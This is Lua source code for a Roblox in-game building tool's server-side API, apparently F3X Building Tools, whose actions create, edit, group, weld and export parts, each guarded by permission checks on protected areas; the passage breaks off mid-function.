Actions = { ['RecolorHandle'] = function (NewColor) -- Recolors the tool handle Tool.Handle.BrickColor = NewColor; end; ['Clone'] = function (Items, Parent) -- Clones the given items -- Validate arguments assert(type(Items) == 'table', 'Invalid items') assert(typeof(Parent) == 'Instance', 'Invalid parent') assert(Security.IsLocationAllowed(Parent, Player), 'Permission denied for client') -- Check if items modifiable if not CanModifyItems(Items) then return {} end -- Check if parts intruding into private areas local Parts = GetPartsFromSelection(Items) if Security.ArePartsViolatingAreas(Parts, Player, false) then return {} end local Clones = {} -- Clone items for _, Item in pairs(Items) do local Clone = Item:Clone() Clone.Parent = Parent -- Register the clone table.insert(Clones, Clone) CreatedInstances[Item] = Item end -- Return the clones return Clones end; ['CreatePart'] = function (PartType, Position, Parent) -- Creates a new part based on `PartType` -- Validate requested parent assert(typeof(Parent) == 'Instance', 'Invalid parent') assert(Security.IsLocationAllowed(Parent, Player), 'Permission denied for client') -- Create the part local NewPart = CreatePart(PartType); -- Position the part NewPart.CFrame = Position; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas({ NewPart }), Player); -- Make sure the player is allowed to create parts in the area if Security.ArePartsViolatingAreas({ NewPart }, Player, false, AreaPermissions) then return; end; -- Parent the part NewPart.Parent = Parent -- Register the part CreatedInstances[NewPart] = NewPart; -- Return the part return NewPart; end; ['CreateGroup'] = function (Type, Parent, Items) -- Creates a new group of type `Type` local ValidGroupTypes = { Model = true, Folder = true } -- Validate arguments assert(ValidGroupTypes[Type], 'Invalid group type') assert(typeof(Parent) == 'Instance', 'Invalid parent') assert(Security.IsLocationAllowed(Parent, Player), 'Permission denied for client') -- Check if items selectable if not CanModifyItems(Items) then return end -- Check if parts intruding into private areas local Parts = GetPartsFromSelection(Items) local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player) if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return end -- Create group local Group = Instance.new(Type) -- Attach children for _, Item in pairs(Items) do Item.Parent = Group end -- Parent group Group.Parent = Parent -- Make joints if Type == 'Model' then Group:MakeJoints() elseif Type == 'Folder' then local Parts = Support.GetDescendantsWhichAreA(Group, 'BasePart') for _, Part in pairs(Parts) do Part:MakeJoints() end end -- Return the new group return Group end, ['Ungroup'] = function (Groups) -- Validate arguments assert(type(Groups) == 'table', 'Invalid groups') -- Check if items modifiable if not CanModifyItems(Groups) then return end -- Check if parts intruding into private areas local Parts = GetPartsFromSelection(Groups) local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player) if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return end local Results = {} -- Check each group for Key, Group in ipairs(Groups) do assert(typeof(Group) == 'Instance', 'Invalid group') -- Track group children local Children = {} Results[Key] = Children -- Unpack group children into parent local NewParent = Group.Parent for _, Child in pairs(Group:GetChildren()) do LastParents[Child] = Group Children[#Children + 1] = Child Child.Parent = NewParent if Child:IsA 'BasePart' then Child:MakeJoints() elseif Child:IsA 'Folder' then local Parts = Support.GetDescendantsWhichAreA(Child, 'BasePart') for _, Part in pairs(Parts) do Part:MakeJoints() end end end -- Track removing group LastParents[Group] = Group.Parent CreatedInstances[Group] = Group -- Remove group Group.Parent = nil end return Results end, ['SetParent'] = function (Items, Parent) -- Validate arguments assert(type(Items) == 'table', 'Invalid items') assert(type(Parent) == 'table' or typeof(Parent) == 'Instance', 'Invalid parent') -- Check if items modifiable if not CanModifyItems(Items) then return end -- Check if parts intruding into private areas local Parts = GetPartsFromSelection(Items) local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player) if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return end -- Move each item to different parent if type(Parent) == 'table' then for Key, Item in pairs(Items) do local Parent = Parent[Key] -- Check if parent allowed assert(Security.IsLocationAllowed(Parent, Player), 'Permission denied for client') -- Move item Item.Parent = Parent if Item:IsA 'BasePart' then Item:MakeJoints() elseif Item:IsA 'Folder' then local Parts = Support.GetDescendantsWhichAreA(Item, 'BasePart') for _, Part in pairs(Parts) do Part:MakeJoints() end end end -- Move to single parent elseif typeof(Parent) == 'Instance' then assert(Security.IsLocationAllowed(Parent, Player), 'Permission denied for client') -- Reparent items for _, Item in pairs(Items) do Item.Parent = Parent if Item:IsA 'BasePart' then Item:MakeJoints() elseif Item:IsA 'Folder' then local Parts = Support.GetDescendantsWhichAreA(Item, 'BasePart') for _, Part in pairs(Parts) do Part:MakeJoints() end end end end end, ['SetName'] = function (Items, Name) -- Validate arguments assert(type(Items) == 'table', 'Invalid items') assert(type(Name) == 'table' or type(Name) == 'string', 'Invalid name') -- Check if items modifiable if not CanModifyItems(Items) then return end -- Check if parts intruding into private areas local Parts = GetPartsFromSelection(Items) local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player) if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return end -- Rename each item to a different name if type(Name) == 'table' then for Key, Item in pairs(Items) do local Name = Name[Key] Item.Name = Name end -- Rename to single name elseif type(Name) == 'string' then for _, Item in pairs(Items) do Item.Name = Name end end end, ['Remove'] = function (Objects) -- Removes the given objects -- Get the relevant parts for each object, for permission checking local Parts = {}; -- Go through the selection for _, Object in pairs(Objects) do -- Make sure the object still exists if Object then if Object:IsA 'BasePart' then table.insert(Parts, Object); elseif Object:IsA 'Smoke' or Object:IsA 'Fire' or Object:IsA 'Sparkles' or Object:IsA 'DataModelMesh' or Object:IsA 'Decal' or Object:IsA 'Texture' or Object:IsA 'Light' then table.insert(Parts, Object.Parent); elseif Object:IsA 'Model' or Object:IsA 'Folder' then Support.ConcatTable(Parts, Support.GetDescendantsWhichAreA(Object, 'BasePart')) end end; end; -- Check if items modifiable if not CanModifyItems(Objects) then return end -- Check if parts intruding into private areas if Security.ArePartsViolatingAreas(Parts, Player, true) then return end -- After confirming permissions, perform each removal for _, Object in pairs(Objects) do -- Store the part's current parent LastParents[Object] = Object.Parent; -- Register the object CreatedInstances[Object] = Object; -- Set the object's current parent to `nil` Object.Parent = nil; end; end; ['UndoRemove'] = function (Objects) -- Restores the given removed objects to their last parents -- Get the relevant parts for each object, for permission checking local Parts = {}; -- Go through the selection for _, Object in pairs(Objects) do -- Make sure the object still exists, and that its last parent is registered if Object and LastParents[Object] then if Object:IsA 'BasePart' then table.insert(Parts, Object); elseif Object:IsA 'Smoke' or Object:IsA 'Fire' or Object:IsA 'Sparkles' or Object:IsA 'DataModelMesh' or Object:IsA 'Decal' or Object:IsA 'Texture' or Object:IsA 'Light' then table.insert(Parts, Object.Parent); elseif Object:IsA 'Model' or Object:IsA 'Folder' then Support.ConcatTable(Parts, Support.GetDescendantsWhichAreA(Object, 'BasePart')) end end; end; -- Check if items modifiable if not CanModifyItems(Objects) then return end -- Check if parts intruding into private areas if Security.ArePartsViolatingAreas(Parts, Player, false) then return end -- After confirming permissions, perform each removal for _, Object in pairs(Objects) do -- Store the part's current parent local LastParent = LastParents[Object]; LastParents[Object] = Object.Parent; -- Register the object CreatedInstances[Object] = Object; -- Set the object's parent to the last parent Object.Parent = LastParent; -- Make joints if Object:IsA 'BasePart' then Object:MakeJoints() else local Parts = Support.GetDescendantsWhichAreA(Object, 'BasePart') for _, Part in pairs(Parts) do Part:MakeJoints() end end end; end; ['SyncMove'] = function (Changes) -- Updates parts server-side given their new CFrames -- Grab a list of every part we're attempting to modify local Parts = {}; local Models = {} for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); elseif Change.Model then table.insert(Models, Change.Model) end end; -- Ensure parts are selectable if not (CanModifyItems(Parts) and CanModifyItems(Models)) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local PartChangeSet = {} local ModelChangeSet = {} for _, Change in pairs(Changes) do if Change.Part then Change.InitialState = { Anchored = Change.Part.Anchored; CFrame = Change.Part.CFrame; } PartChangeSet[Change.Part] = Change elseif Change.Model then ModelChangeSet[Change.Model] = Change.Pivot end end; -- Preserve joints for Part, Change in pairs(PartChangeSet) do Change.Joints = PreserveJoints(Part, PartChangeSet) end; -- Perform each change for Part, Change in pairs(PartChangeSet) do -- Stabilize the parts and maintain the original anchor state Part.Anchored = true; Part:BreakJoints(); Part.Velocity = Vector3.new(); Part.RotVelocity = Vector3.new(); -- Set the part's CFrame Part.CFrame = Change.CFrame; end; for Model, Pivot in pairs(ModelChangeSet) do Model.WorldPivot = Pivot end -- Make sure the player is authorized to move parts into this area if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then -- Revert changes if unauthorized destination for Part, Change in pairs(PartChangeSet) do Part.CFrame = Change.InitialState.CFrame; end; end; -- Restore the parts' original states for Part, Change in pairs(PartChangeSet) do Part:MakeJoints(); RestoreJoints(Change.Joints); Part.Anchored = Change.InitialState.Anchored; end; end; ['SyncResize'] = function (Changes) -- Updates parts server-side given their new sizes and CFrames -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then Change.InitialState = { Anchored = Change.Part.Anchored, Size = Change.Part.Size, CFrame = Change.Part.CFrame }; ChangeSet[Change.Part] = Change; end; end; -- Perform each change for Part, Change in pairs(ChangeSet) do -- Stabilize the parts and maintain the original anchor state Part.Anchored = true; Part:BreakJoints(); Part.Velocity = Vector3.new(); Part.RotVelocity = Vector3.new(); -- Set the part's size and CFrame Part.Size = Change.Size; Part.CFrame = Change.CFrame; end; -- Make sure the player is authorized to move parts into this area if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then -- Revert changes if unauthorized destination for Part, Change in pairs(ChangeSet) do Part.Size = Change.InitialState.Size; Part.CFrame = Change.InitialState.CFrame; end; end; -- Restore the parts' original states for Part, Change in pairs(ChangeSet) do Part:MakeJoints(); Part.Anchored = Change.InitialState.Anchored; end; end; ['SyncRotate'] = function (Changes) -- Updates parts server-side given their new CFrames -- Grab a list of every part and model we're attempting to modify local Parts = {}; local Models = {} for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); elseif Change.Model then table.insert(Models, Change.Model) end end; -- Ensure parts are selectable if not (CanModifyItems(Parts) and CanModifyItems(Models)) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local PartChangeSet = {} local ModelChangeSet = {} for _, Change in pairs(Changes) do if Change.Part then Change.InitialState = { Anchored = Change.Part.Anchored; CFrame = Change.Part.CFrame; } PartChangeSet[Change.Part] = Change elseif Change.Model then ModelChangeSet[Change.Model] = Change.Pivot end end; -- Preserve joints for Part, Change in pairs(PartChangeSet) do Change.Joints = PreserveJoints(Part, PartChangeSet) end; -- Perform each change for Part, Change in pairs(PartChangeSet) do -- Stabilize the parts and maintain the original anchor state Part.Anchored = true; Part:BreakJoints(); Part.Velocity = Vector3.new(); Part.RotVelocity = Vector3.new(); -- Set the part's CFrame Part.CFrame = Change.CFrame; end; for Model, Pivot in pairs(ModelChangeSet) do Model.WorldPivot = Pivot end -- Make sure the player is authorized to move parts into this area if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then -- Revert changes if unauthorized destination for Part, Change in pairs(PartChangeSet) do Part.CFrame = Change.InitialState.CFrame; end; end; -- Restore the parts' original states for Part, Change in pairs(PartChangeSet) do Part:MakeJoints(); RestoreJoints(Change.Joints); Part.Anchored = Change.InitialState.Anchored; end; end; ['SyncColor'] = function (Changes) -- Updates parts server-side given their new colors -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Perform each change for Part, Change in pairs(ChangeSet) do -- Set the part's color Part.Color = Change.Color; -- If this part is a union, set its UsePartColor state if Part.ClassName == 'UnionOperation' then Part.UsePartColor = Change.UnionColoring; end; end; end; ['SyncSurface'] = function (Changes) -- Updates parts server-side given their new surfaces -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Perform each change for Part, Change in pairs(ChangeSet) do -- Apply each surface change for Surface, SurfaceType in pairs(Change.Surfaces) do Part[Surface .. 'Surface'] = SurfaceType; end; end; end; ['CreateLights'] = function (Changes) -- Creates lights in the given parts -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Make a list of allowed light type requests local AllowedLightTypes = { PointLight = true, SurfaceLight = true, SpotLight = true }; -- Keep track of the newly created lights local Lights = {}; -- Create each light for Part, Change in pairs(ChangeSet) do -- Make sure the requested light type is valid if AllowedLightTypes[Change.LightType] then -- Create the light local Light = Instance.new(Change.LightType, Part); table.insert(Lights, Light); -- Register the light CreatedInstances[Light] = Light; end; end; -- Return the new lights return Lights; end; ['SyncLighting'] = function (Changes) -- Updates aspects of the given selection's lights -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Make a list of allowed light type requests local AllowedLightTypes = { PointLight = true, SurfaceLight = true, SpotLight = true }; -- Update each part's lights for Part, Change in pairs(ChangeSet) do -- Make sure that the light type requested is valid if AllowedLightTypes[Change.LightType] then -- Grab the part's light local Light = Support.GetChildOfClass(Part, Change.LightType); -- Make sure the light exists if Light then -- Make the requested changes if Change.Range ~= nil then Light.Range = Change.Range; end; if Change.Brightness ~= nil then Light.Brightness = Change.Brightness; end; if Change.Color ~= nil then Light.Color = Change.Color; end; if Change.Shadows ~= nil then Light.Shadows = Change.Shadows; end; if Change.Face ~= nil then Light.Face = Change.Face; end; if Change.Angle ~= nil then Light.Angle = Change.Angle; end; end; end; end; end; ['CreateDecorations'] = function (Changes) -- Creates decorations in the given parts -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Make a list of allowed decoration type requests local AllowedDecorationTypes = { Smoke = true, Fire = true, Sparkles = true }; -- Keep track of the newly created decorations local Decorations = {}; -- Create each decoration for Part, Change in pairs(ChangeSet) do -- Make sure the requested decoration type is valid if AllowedDecorationTypes[Change.DecorationType] then -- Create the decoration local Decoration = Instance.new(Change.DecorationType, Part); table.insert(Decorations, Decoration); -- Register the decoration CreatedInstances[Decoration] = Decoration; end; end; -- Return the new decorations return Decorations; end; ['SyncDecorate'] = function (Changes) -- Updates aspects of the given selection's decorations -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Make a list of allowed decoration type requests local AllowedDecorationTypes = { Smoke = true, Fire = true, Sparkles = true }; -- Update each part's decorations for Part, Change in pairs(ChangeSet) do -- Make sure that the decoration type requested is valid if AllowedDecorationTypes[Change.DecorationType] then -- Grab the part's decoration local Decoration = Support.GetChildOfClass(Part, Change.DecorationType); -- Make sure the decoration exists if Decoration then -- Make the requested changes if Change.Color ~= nil then Decoration.Color = Change.Color; end; if Change.Opacity ~= nil then Decoration.Opacity = Change.Opacity; end; if Change.RiseVelocity ~= nil then Decoration.RiseVelocity = Change.RiseVelocity; end; if Change.Size ~= nil then Decoration.Size = Change.Size; end; if Change.Heat ~= nil then Decoration.Heat = Change.Heat; end; if Change.SecondaryColor ~= nil then Decoration.SecondaryColor = Change.SecondaryColor; end; if Change.SparkleColor ~= nil then Decoration.SparkleColor = Change.SparkleColor; end; end; end; end; end; ['CreateMeshes'] = function (Changes) -- Creates meshes in the given parts -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Keep track of the newly created meshes local Meshes = {}; -- Create each mesh for Part, Change in pairs(ChangeSet) do -- Create the mesh local Mesh = Instance.new('SpecialMesh', Part); table.insert(Meshes, Mesh); -- Register the mesh CreatedInstances[Mesh] = Mesh; end; -- Return the new meshes return Meshes; end; ['SyncMesh'] = function (Changes) -- Updates aspects of the given selection's meshes -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Update each part's meshes for Part, Change in pairs(ChangeSet) do -- Grab the part's mesh local Mesh = Support.GetChildOfClass(Part, 'SpecialMesh'); -- Make sure the mesh exists if Mesh then -- Make the requested changes if Change.VertexColor ~= nil then Mesh.VertexColor = Change.VertexColor; end; if Change.MeshType ~= nil then Mesh.MeshType = Change.MeshType; end; if Change.Scale ~= nil then Mesh.Scale = Change.Scale; end; if Change.Offset ~= nil then Mesh.Offset = Change.Offset; end; if Change.MeshId ~= nil then Mesh.MeshId = Change.MeshId; end; if Change.TextureId ~= nil then Mesh.TextureId = Change.TextureId; end; end; end; end; ['CreateTextures'] = function (Changes) -- Creates textures in the given parts -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Make a list of allowed texture type requests local AllowedTextureTypes = { Texture = true, Decal = true }; -- Keep track of the newly created textures local Textures = {}; -- Create each texture for Part, Change in pairs(ChangeSet) do -- Make sure the requested light type is valid if AllowedTextureTypes[Change.TextureType] then -- Create the texture local Texture = Instance.new(Change.TextureType, Part); Texture.Face = Change.Face; table.insert(Textures, Texture); -- Register the texture CreatedInstances[Texture] = Texture; end; end; -- Return the new textures return Textures; end; ['SyncTexture'] = function (Changes) -- Updates aspects of the given selection's textures -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Make a list of allowed texture type requests local AllowedTextureTypes = { Texture = true, Decal = true }; -- Update each part's textures for Part, Change in pairs(ChangeSet) do -- Make sure that the texture type requested is valid if AllowedTextureTypes[Change.TextureType] then -- Get the right textures within the part for _, Texture in pairs(Part:GetChildren()) do if Texture.ClassName == Change.TextureType and Texture.Face == Change.Face then -- Perform the changes if Change.Texture ~= nil then Texture.Texture = Change.Texture; end; if Change.Transparency ~= nil then Texture.Transparency = Change.Transparency; end; if Change.StudsPerTileU ~= nil then Texture.StudsPerTileU = Change.StudsPerTileU; end; if Change.StudsPerTileV ~= nil then Texture.StudsPerTileV = Change.StudsPerTileV; end; end; end; end; end; end; ['SyncAnchor'] = function (Changes) -- Updates parts server-side given their new anchor status -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Perform each change for Part, Change in pairs(ChangeSet) do Part.Anchored = Change.Anchored; end; end; ['SyncCollision'] = function (Changes) -- Updates parts server-side given their new collision status -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Perform each change for Part, Change in pairs(ChangeSet) do Part.CanCollide = Change.CanCollide; end; end; ['SyncMaterial'] = function (Changes) -- Updates parts server-side given their new material -- Grab a list of every part we're attempting to modify local Parts = {}; for _, Change in pairs(Changes) do if Change.Part then table.insert(Parts, Change.Part); end; end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Reorganize the changes local ChangeSet = {}; for _, Change in pairs(Changes) do if Change.Part then ChangeSet[Change.Part] = Change; end; end; -- Perform each change for Part, Change in pairs(ChangeSet) do if Change.Material ~= nil then Part.Material = Change.Material; end; if Change.Transparency ~= nil then Part.Transparency = Change.Transparency; end; if Change.Reflectance ~= nil then Part.Reflectance = Change.Reflectance; end; end; end; ['CreateWelds'] = function (Parts, TargetPart) -- Creates welds for the given parts to the target part -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to perform changes to these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; local Welds = {}; -- Create the welds for _, Part in pairs(Parts) do -- Make sure we're not welding this part to itself if Part ~= TargetPart then -- Calculate the offset of the part from the target part local Offset = Part.CFrame:toObjectSpace(TargetPart.CFrame); -- Create the weld local Weld = Instance.new('Weld'); Weld.Name = 'BTWeld'; Weld.Part0 = TargetPart; Weld.Part1 = Part; Weld.C1 = Offset; Weld.Archivable = true; Weld.Parent = TargetPart; -- Register the weld CreatedInstances[Weld] = Weld; table.insert(Welds, Weld); end; end; -- Return the welds created return Welds; end; ['RemoveWelds'] = function (Welds) -- Removes the given welds local Parts = {}; -- Go through each weld for _, Weld in pairs(Welds) do -- Make sure each given weld is valid if Weld.ClassName ~= 'Weld' then return; end; -- Collect the relevant parts for this weld table.insert(Parts, Weld.Part0); table.insert(Parts, Weld.Part1); end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; local WeldsRemoved = 0; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Go through each weld for _, Weld in pairs(Welds) do -- Check the permissions on each weld-related part local Part0Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, true, AreaPermissions); local Part1Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part1 }, Player, true, AreaPermissions); -- If at least one of the involved parts is authorized, remove the weld if not Part0Unauthorized or not Part1Unauthorized then -- Register the weld CreatedInstances[Weld] = Weld; LastParents[Weld] = Weld.Parent; WeldsRemoved = WeldsRemoved + 1; -- Remove the weld Weld.Parent = nil; end; end; -- Return the number of welds removed return WeldsRemoved; end; ['UndoRemovedWelds'] = function (Welds) -- Restores the given removed welds local Parts = {}; -- Go through each weld for _, Weld in pairs(Welds) do -- Make sure each given weld is valid if Weld.ClassName ~= 'Weld' then return; end; -- Make sure each weld has its old parent registered if not LastParents[Weld] then return; end; -- Collect the relevant parts for this weld table.insert(Parts, Weld.Part0); table.insert(Parts, Weld.Part1); end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Go through each weld for _, Weld in pairs(Welds) do -- Check the permissions on each weld-related part local Part0Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, false, AreaPermissions); local Part1Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, false, AreaPermissions); -- If at least one of the involved parts is authorized, restore the weld if not Part0Unauthorized or not Part1Unauthorized then -- Store the part's current parent local LastParent = LastParents[Weld]; LastParents[Weld] = Weld.Parent; -- Register the weld CreatedInstances[Weld] = Weld; -- Set the weld's parent to the last parent Weld.Parent = LastParent; end; end; end; ['Export'] = function (Parts) -- Serializes, exports, and returns ID for importing given parts -- Offload action to server-side if API is running locally if RunService:IsClient() and not RunService:IsStudio() then return SyncAPI.ServerEndpoint:InvokeServer('Export', Parts); end; -- Ensure valid selection assert(type(Parts) == 'table', 'Invalid item table'); -- Ensure there are items to export if #Parts == 0 then return; end; -- Ensure parts are selectable if not CanModifyItems(Parts) then return; end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player); -- Make sure the player is allowed to access these parts if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return; end; -- Get all descendants of the parts local Items = Support.CloneTable(Parts); for _, Part in pairs(Parts) do Support.ConcatTable(Items, Part:GetDescendants()); end; -- After confirming permissions, serialize parts local SerializedBuildData = Serialization.SerializeModel(Items); -- Push serialized data to server local Response = HttpService:JSONDecode( HttpService:PostAsync( 'http://f3xteam.com/bt/export', HttpService:JSONEncode { data = SerializedBuildData, version = 3, userId = (Player and Player.UserId) }, Enum.HttpContentType.ApplicationJson, true ) ); -- Return creation ID on success if Response.success then return Response.id; else error('Export failed due to server-side error', 2); end; end; ['IsHttpServiceEnabled'] = function () -- Returns whether HttpService is enabled -- Offload action to server-side if API is running locally if RunService:IsClient() then return SyncAPI.ServerEndpoint:InvokeServer('IsHttpServiceEnabled') end -- Return cached status if available if 